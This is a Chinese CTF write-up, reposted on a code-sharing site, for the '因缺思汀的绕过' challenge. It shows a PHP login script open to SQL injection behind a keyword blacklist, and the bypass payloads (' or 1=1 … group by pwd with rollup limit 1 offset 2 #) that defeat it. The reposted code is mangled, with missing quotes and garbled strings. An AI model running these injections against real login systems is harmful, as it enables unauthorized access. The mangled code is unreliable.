码迷,mamicode.com
首页 > 其他好文 > 详细

【实验吧】因缺思汀的绕过

时间:2017-10-14 17:03:42      阅读:135      评论:0      收藏:0      [点我收藏+]

标签:submit   print   官方   使用   func   rest   xxxxx   统计   参考   

<?php
error_reporting(0);

if (!isset($_POST[uname]) || !isset($_POST[pwd])) {
    echo <form action="" method="post">."<br/>";
    echo <input name="uname" type="text"/>."<br/>";
    echo <input name="pwd" type="text"/>."<br/>";
    echo <input type="submit" />."<br/>";
    echo </form>."<br/>";
    echo <!--source: source.txt-->."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die(Could not connect:  . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname‘]}‘";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key[pwd] == $_POST[pwd]) {
        print "CTF{XXXXXX}";
    }else{
        print "浜﹀彲璧涜墖锛?";
    }
}else{
    print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>

1,过滤了上述关键字

2,数据库影响力为1

3,通过第三个if

  确定一下当前用户人数,由于第一个过滤了,所以使用limit 1 offset 1来判断人数
    ’ or 1=1 limit 1 offset 0#    返回!(一个人)偏移量从0开始
    ’or 1=1 limit 1 offset 1#    返回!(两个人)//offset表示偏移
    ’ or 1=1 limit 1 offset 2#    返回!
    

第三个输入的密码和数据库的密码要相同
    这里可以用这个语句group by pwd with rollup(分组后会在多一行统计)
    由于对字符串统计无效第三行的pwd结果是NULL这样就可以通过
    由于使用了with rollup后会多出一条,所以offset 2 可以正确返回NULL


第四个:
大概的意思就是在GROUP BY子句中使用WITH ROLLUP会在数据库中加入一行用来计算总数,ROLLUP子句的更加详细的用法,可以参考mysql的官方文档,此处就不多做赘述了。再结合limit和offset就可以写出

`` 即:输入的用户名为:‘ or 1=1 group by pwd with rollup limit 1 offset 2 #

密码为空。

这里解释一下此时执行的SQL:
SELECT * FROM interest where uname=‘ ‘ or 1=1 
group by pwd with rollup  (在数据库中添加一行使得pwd=NULL)
limit 1 (只查询一行)
offset 2  (从第二行开始查询)
#注释

此时密码只要为空即可查询成功

技术分享

 

【实验吧】因缺思汀的绕过

标签:submit   print   官方   使用   func   rest   xxxxx   统计   参考   

原文地址:http://www.cnblogs.com/liuyimin/p/7667476.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!